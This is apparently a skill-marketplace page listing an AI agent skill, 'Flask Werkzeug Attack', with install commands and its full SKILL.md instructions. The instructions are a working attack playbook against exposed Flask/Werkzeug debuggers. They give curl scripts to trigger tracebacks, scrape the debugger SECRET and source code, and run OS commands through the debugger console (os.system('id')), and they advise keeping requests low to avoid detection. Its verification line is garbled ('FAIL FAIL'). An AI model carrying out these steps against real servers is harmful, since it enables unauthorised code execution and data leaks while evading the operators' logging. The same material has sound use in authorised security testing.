Flask Werkzeug Attack logo

Flask Werkzeug Attack

CommunityPopular
uphiago
flask-werkzeug-attack

Exploit Flask/Werkzeug debugger exposure for traceback and SECRET leaks.

Overview

Publisheruphiago
Repositoryrecon-skills
Skill nameflask-werkzeug-attack
Stars
1.3K
Forks
213
Bundled files
Instructions only
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by uphiago on GitHub. Read the source before you install it.

Installation

Install the Flask Werkzeug Attack AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/uphiago/recon-skills.git /tmp/recon-skills
mkdir -p .claude/skills
cp -r /tmp/recon-skills/recon/flask-werkzeug-attack .claude/skills/flask-werkzeug-attack
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Flask Werkzeug Attack in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Flask Werkzeug Attack on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Flask Werkzeug Attack is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

Flask/Werkzeug Debugger Exploitation

Flask applications with debug=True enable the Werkzeug debugger, which exposes stack traces and (optionally) an interactive Python console. The debugger runs at the same port as the Flask app and activates on any unhandled exception (HTTP 500).

When to Use

  • Port scan reveals an unknown HTTP service on a non-standard port (8080, 8081, 8084, 5000, 8000, etc.)
  • An API endpoint returns HTTP 500 with a Flask/Werkzeug error page
  • A ?__debugger__=yes parameter appears in URL resources (CSS, JS, PNG)
  • The error page contains var CONSOLE_MODE, var EVALEX, or SECRET= in the HTML

Prerequisites

  • terminal with curl
  • A Flask API server with debug=True in production (misconfiguration)
  • An endpoint that triggers HTTP 500 (unhandled exception)

Quick Detection

bash
# Check if Werkzeug debugger is active — trigger an error
curl --max-time 30 --connect-timeout 10 -sk "https://target.com:PORT/sitemap.xml" 2>/dev/null | grep -oE "(Werkzeug|Debugger|SECRET|CONSOLE_MODE|EVALEX)" | head -5

# Try to trigger error on common paths
for path in "/error" "/500" "/test" "/debug" "/sitemap.xml" "/env" "/config"; do
  result=$(curl --max-time 30 --connect-timeout 10 -sk "https://target.com:PORT$path" 2>/dev/null)
  if echo "$result" | grep -q "Traceback\|Error\|Werkzeug"; then
    echo "TRIGGERED: $path"
    echo "$result" | grep -oE '(File|Error|SECRET|CONSOLE_MODE|EVALEX)[^<]*' | head -5
  fi
done

Phase 1 — Information Disclosure

The Werkzeug debugger exposes:

1a — Server Paths (from Traceback)

File "/var/www/html/target-app-backend/venv/lib/python3.10/site-packages/flask/app.py"
File "/var/www/html/target-app-backend/venv/lib/python3.10/site-packages/flask_cors/extension.py"
File "/var/www/html/target-app-backend/venv/lib/python3.10/site-packages/..."

1b — Debugger SECRET (from HTML)

html
<script>
  var CONSOLE_MODE = false,
      EVALEX = false,
      EVALEX_TRUSTED = false,
      SECRET="vYQ93K...8cww";
</script>

1c — Framework & Language Version

  • Flask framework (Python 3.x)
  • flask_cors extension status
  • Full call stack with line numbers
  • Source code context (5 lines around each frame)

1d — Full Code Context Extraction

python
import requests, re

resp = requests.get("https://target.com:PORT/ERROR_PATH", verify=False)
traceback = resp.text

# Extract all filenames from traceback frames
files = re.findall(r'File\s+\"([^\"]+)\"', traceback)
for f in files:
    print(f"  {f}")

# Extract source code snippets
sources = re.findall(r'<pre[^>]*class="source[^"]*"[^>]*>(.*?)</pre>', traceback, re.DOTALL)
for s in sources:
    clean = re.sub(r'<[^>]+>', '', s)
    print(clean[:200])

Phase 2 — Debugger Console Access (RCE)

The Werkzeug debugger console allows Python code execution on the server IF EVALEX=true and CONSOLE_MODE=true.

2a — Check Console Status

bash
# The SECRET and console mode are in the HTML
curl --max-time 30 --connect-timeout 10 -sk "https://target.com:PORT/sitemap.xml" | grep -oE '(CONSOLE_MODE|EVALEX|EVALEX_TRUSTED|SECRET)="?[^"&;]+'

2b — Console Access (if enabled)

If EVALEX=true:

bash
# Access the console
curl --max-time 30 --connect-timeout 10 -sk "https://target.com:PORT/console"

Signal check: If /console returns HTTP 400 (not 404), the debugger IS active but the console is disabled. HTTP 404 means no debugger at all. HTTP 200 with console UI means RCE is available.

If EVALEX=true:

bash
# Execute Python commands (POST to the debugger endpoint)
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com:PORT/sitemap.xml?__debugger__=yes&cmd=e&s=SECRET" \
  -d "code=__import__('os').system('id')"

# Alternative: GET-based eval
curl --max-time 30 --connect-timeout 10 -sk "https://target.com:PORT/sitemap.xml?__debugger__=yes&cmd=eval&code=__import__('os').system('id')&s=SECRET"

Note: The console endpoint may require specific method (POST vs GET) and may return HTTP 405 if the wrong method is used. Test both.

2c — Working with a Disabled Console

If EVALEX=false (most common in production), the console is disabled and cannot execute commands. However:

  1. SECRET is still valuable — it confirms dynamic debugger is active
  2. Traceback still leaks — full server paths, framework versions, source code context
  3. Look for ?__debugger__=yes — this is the debugger interface itself; if it loads, the debugger is partially active
  4. Check for source code in error pages — some endpoints may return full source context without needing the console

Phase 3 — Directory/Path Probing

Beyond the specific error-triggering path, probe for other endpoints that may leak different info:

bash
# Path traversal in error generation
curl --max-time 30 --connect-timeout 10 -sk "https://target.com:PORT/path/to/../sitemap.xml"

# Test various HTTP methods
curl --max-time 30 --connect-timeout 10 -sk -X OPTIONS "https://target.com:PORT/sitemap.xml"
curl --max-time 30 --connect-timeout 10 -sk -X PUT "https://target.com:PORT/sitemap.xml"
curl --max-time 30 --connect-timeout 10 -sk -X DELETE "https://target.com:PORT/sitemap.xml"

# Check if error page returns CORS headers
curl --max-time 30 --connect-timeout 10 -sk -D- "https://target.com:PORT/sitemap.xml" | grep -i access-control

Pitfalls

  • EVALEX=false means NO RCE through the console. Do not waste time trying to execute code when console mode is disabled.
  • The SECRET is not enough. Even with the correct SECRET, the console must be enabled for code execution.
  • Not all HTTP 500 pages are Werkzeug. Plain Flask error pages without HTML formatting or with JSON-only responses are NOT the Werkzeug debugger. The debugger has a distinctive blue-themed HTML page with collapsible traceback frames and source code context.
  • The debugger may be behind CORS. Check Access-Control-Allow-Origin headers — CORS wildcard on the debugger page means an attacker-controlled website can read the SECRET and traceback via fetch().
  • Triggering errors leaves logs. Every debugger page request generates a 500 error in the server logs. Be conservative to avoid detection.

Verification

  1. Skill integrity — confirm the skill file is well-formed: FAIL FAIL All tests verify the skill is properly structured.

Related Skills

  • hunt-rce — General RCE hunting; console-enabled Werkzeug would be RCE
  • hunt-python — Python-specific vulnerability hunting
  • js-secrets-extraction — Finding API keys that may work with the Flask API
  • source-leak-hunt — Finding .env and config files that may contain Flask SECRET_KEY
  • cache-attack — Cache poisoning via Werkzeug error page (if CDN caches the 500 response)

Frequently asked questions

What does the Flask Werkzeug Attack AI skill do?

Exploit Flask/Werkzeug debugger exposure for traceback and SECRET leaks.

Why use Flask Werkzeug Attack on TypingMind?

Because you install it once and use it with any model. Flask Werkzeug Attack is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Flask Werkzeug Attack in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/uphiago/recon-skills/tree/main/recon/flask-werkzeug-attack. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Flask Werkzeug Attack?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Flask Werkzeug Attack?

As many as you like. As long as a model supports skills, you can use Flask Werkzeug Attack with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Flask Werkzeug Attack AI skill free?

Yes. It is published on GitHub by uphiago under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇